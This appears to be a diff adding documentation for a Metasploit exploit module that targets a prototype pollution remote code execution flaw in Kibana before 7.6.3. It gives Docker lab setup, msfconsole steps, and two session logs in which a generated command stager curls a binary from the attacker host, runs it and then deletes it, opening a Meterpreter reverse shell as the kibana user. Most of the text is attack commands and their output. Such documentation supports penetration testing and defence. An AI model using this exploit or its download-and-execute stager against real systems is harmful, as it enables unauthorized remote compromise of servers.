Kibana < 7.6.3 Upgrade Assistant Telemetry RCE (No-CVE)

documentation/modules/exploit/linux/http/kibana_upgrade_assistant_telemetry_rce.md

@@ -0,0 +1,138 @@
+## Vulnerable Application
+
+Kibana before version 7.6.3 suffers from a prototype pollution bug within the
+Upgrade Assistant. By setting a new constructor.prototype.sourceURL value we're
+able to execute arbitrary code.
+Code execution is possible through two different ways. Either by sending data
+directly to Elastic, or using Kibana to submit the same queries. Either method
+enters the polluted prototype for Kibana to read.
+
+Kibana will either need to be restarted, or collection happens (unknown time) for
+the payload to execute. Once it does, cleanup must delete the .kibana_1 index
+for Kibana to restart successfully. Once a callback does occur, cleanup will
+happen allowing Kibana to be successfully restarted on next attempt.
+
+### Install
+
+A docker version of Kibana and Elastic are required. Both can be run together in a working mode via:
+
+```
+docker run --name es01 -e "discovery.type=single-node" -d -p 9200:9200 docker.elastic.co/elasticsearch/elasticsearch:7.6.2
+docker run --name kib01 --link es01:elasticsearch -d -p 5601:5601 docker.elastic.co/kibana/kibana:7.6.2
+```
+
+To restart Kibana (easier during exploitation) issue the following command: `docker kill kib01; docker start kib01`
+
+To wipe the boxes: `docker kill kib01; docker kill es01; docker container rm es01; docker container rm kib01`
+
+## Verification Steps
+
+1. Install the application
+1. Start msfconsole
+1. Do: `use use exploit/linux/http/kibana_upgrade_assistant_telemetry_rce`
+1. Do: `set rhost [ip]`
+1. Do: `set lhost [ip]`
+1. Do: `run`
+1. You should get a shell as the kibana user.
+
+## Options
+
+## Scenarios
+
+### Kibana 7.6.2 on Docker (Elastic Target)
+
+In this scenario, the cleanup process within Kibana kicked automatically, so no reboot of the host/service was required.
+
+```
+[*] Processing kibana_telem.rb for ERB directives.
+resource (kibana_telem.rb)> use exploit/linux/http/kibana_upgrade_assistant_telemetry_rce
+[*] Using configured payload linux/x64/meterpreter/reverse_tcp
+resource (kibana_telem.rb)> set rhosts 127.0.0.1
+rhosts => 127.0.0.1
+resource (kibana_telem.rb)> set rport 9200
+rport => 9200
+resource (kibana_telem.rb)> set verbose true
+verbose => true
+resource (kibana_telem.rb)> set lhost 1.1.1.1
+lhost => 1.1.1.1
+msf6 exploit(linux/http/kibana_upgrade_assistant_telemetry_rce) > exploit
+
+[*] Started reverse TCP handler on 1.1.1.1:4444 
+[*] Creating index
+[*] Index already exists
+[*] Sending index map
+[*] Sending telemetry data with payload
+[*] Using URL: http://1.1.1.1:8080/1vtNc3Hi
+[*] Generated command stager: ["curl -so /tmp/LAbvDplC http://1.1.1.1:8080/1vtNc3Hi;chmod +x /tmp/LAbvDplC;/tmp/LAbvDplC;rm -f /tmp/LAbvDplC"]
+[*] Command Stager progress - 100.00% done (114/114 bytes)
+[*] Waiting 1800 seconds for shell (kibana restart/cleanup)
+[*] Client 172.17.0.3 (curl/7.29.0) requested /1vtNc3Hi
+[*] Sending payload to 172.17.0.3 (curl/7.29.0)
+[*] Transmitting intermediate stager...(126 bytes)
+[*] Sending stage (3045380 bytes) to 172.17.0.3
+[*] Meterpreter session 1 opened (1.1.1.1:4444 -> 172.17.0.3:44668) at 2023-10-02 16:46:35 -0400
+[*] Removing telemetry data to prevent Kibana locking on restart
+
+meterpreter > getuid
+Server username: kibana
+meterpreter > sysinfo
+Computer     : 172.17.0.3
+OS           : CentOS 7.7.1908 (Linux 6.5.0-kali1-amd64)
+Architecture : x64
+BuildTuple   : x86_64-linux-musl
+Meterpreter  : x64/linux
+```
+
+### Kibana 7.6.2 on Docker (Kibana Target)
+
+```
+[*] Processing kibana_telem.rb for ERB directives.
+resource (kibana_telem.rb)> use exploit/linux/http/kibana_upgrade_assistant_telemetry_rce
+[*] Using configured payload linux/x64/meterpreter/reverse_tcp
+resource (kibana_telem.rb)> set rhosts 127.0.0.1
+rhosts => 127.0.0.1
+resource (kibana_telem.rb)> set rport 9200
+rport => 9200
+resource (kibana_telem.rb)> set verbose true
+verbose => true
+resource (kibana_telem.rb)> set lhost 1.1.1.1
+lhost => 1.1.1.1
+msf6 exploit(linux/http/kibana_upgrade_assistant_telemetry_rce) > set target 1
+target => 1
+msf6 exploit(linux/http/kibana_upgrade_assistant_telemetry_rce) > set rport 5601
+rport => 5601
+msf6 exploit(linux/http/kibana_upgrade_assistant_telemetry_rce) > check
+[*] 127.0.0.1:5601 - The target appears to be vulnerable. Exploitable Version Detected: 7.6.2
+msf6 exploit(linux/http/kibana_upgrade_assistant_telemetry_rce) > exploit
+
+[*] Started reverse TCP handler on 1.1.1.1:4444 
+[*] Creating index
+[*] Index already exists
+[*] Sending index map
+[*] Sending telemetry data with payload
+[*] Using URL: http://1.1.1.1:8080/PbT2tbJKQyU
+[*] Generated command stager: ["curl -so /tmp/AcwIGAZC http://1.1.1.1:8080/PbT2tbJKQyU;chmod +x /tmp/AcwIGAZC;/tmp/AcwIGAZC;rm -f /tmp/AcwIGAZC"]
+[*] Command Stager progress - 100.00% done (117/117 bytes)
+[*] Waiting 1800 seconds for shell (kibana restart/cleanup)
+```
+
+After several minutes, the host was rebooted instead of waiting for the cleanup process to happen. Docker host reboot was done
+with the following command: `docker kill kib01; docker start kib01`
+
+```
+[*] Client 172.17.0.3 (curl/7.29.0) requested /PbT2tbJKQyU
+[*] Sending payload to 172.17.0.3 (curl/7.29.0)
+[*] Transmitting intermediate stager...(126 bytes)
+[*] Sending stage (3045380 bytes) to 172.17.0.3
+[*] Meterpreter session 1 opened (1.1.1.1:4444 -> 172.17.0.3:53100) at 2023-10-02 16:51:34 -0400
+[-] Cleanup must happen on the Elastic Database for Kibana to start. You need to DELETE /.kibana_1
+
+meterpreter > getuid
+Server username: kibana
+meterpreter > sysinfo
+Computer     : 172.17.0.3
+OS           : CentOS 7.7.1908 (Linux 6.5.0-kali1-amd64)
+Architecture : x64
+BuildTuple   : x86_64-linux-musl
+Meterpreter  : x64/linux
+```